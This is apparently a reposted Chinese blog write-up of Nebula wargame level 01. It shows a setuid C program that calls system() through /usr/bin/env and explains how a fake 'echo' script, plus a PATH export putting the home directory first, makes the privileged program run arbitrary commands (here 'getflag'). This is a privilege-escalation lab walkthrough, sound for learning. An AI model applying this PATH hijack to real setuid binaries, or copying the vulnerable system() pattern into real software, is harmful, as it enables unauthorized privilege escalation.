您的位置:首页 > 其它

nebula 01

2014-08-20 22:52 183 查看
这一关是找出一个程序可以执行任意程序的漏洞

1#include <stdlib.h>
2#include <unistd.h>
3#include <string.h>
4#include <sys/types.h>
5#include <stdio.h>
6
7int main(int argc, char **argv, char **envp)
8{
9  gid_t gid;
10  uid_t uid;
11  gid = getegid();
12  uid = geteuid();
13
14  setresgid(gid, gid, gid);
15  setresuid(uid, uid, uid);
16
17  system("/usr/bin/env echo and now what?");
18}

问题出在/usr/bin/env这个命令,用这个命令启动后面的shell命令

在自己的主目录建立一个叫echo的脚本,想执行什么就写什么,然后权限设置为可执行,接下来把当前目录加到PATH环境变量的最前端

export PATH=/home/level01/:$PATH

然后执行这个程序,就可以调到我们的假的echo命令了

echo:

#!/bin/bash

getflag
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: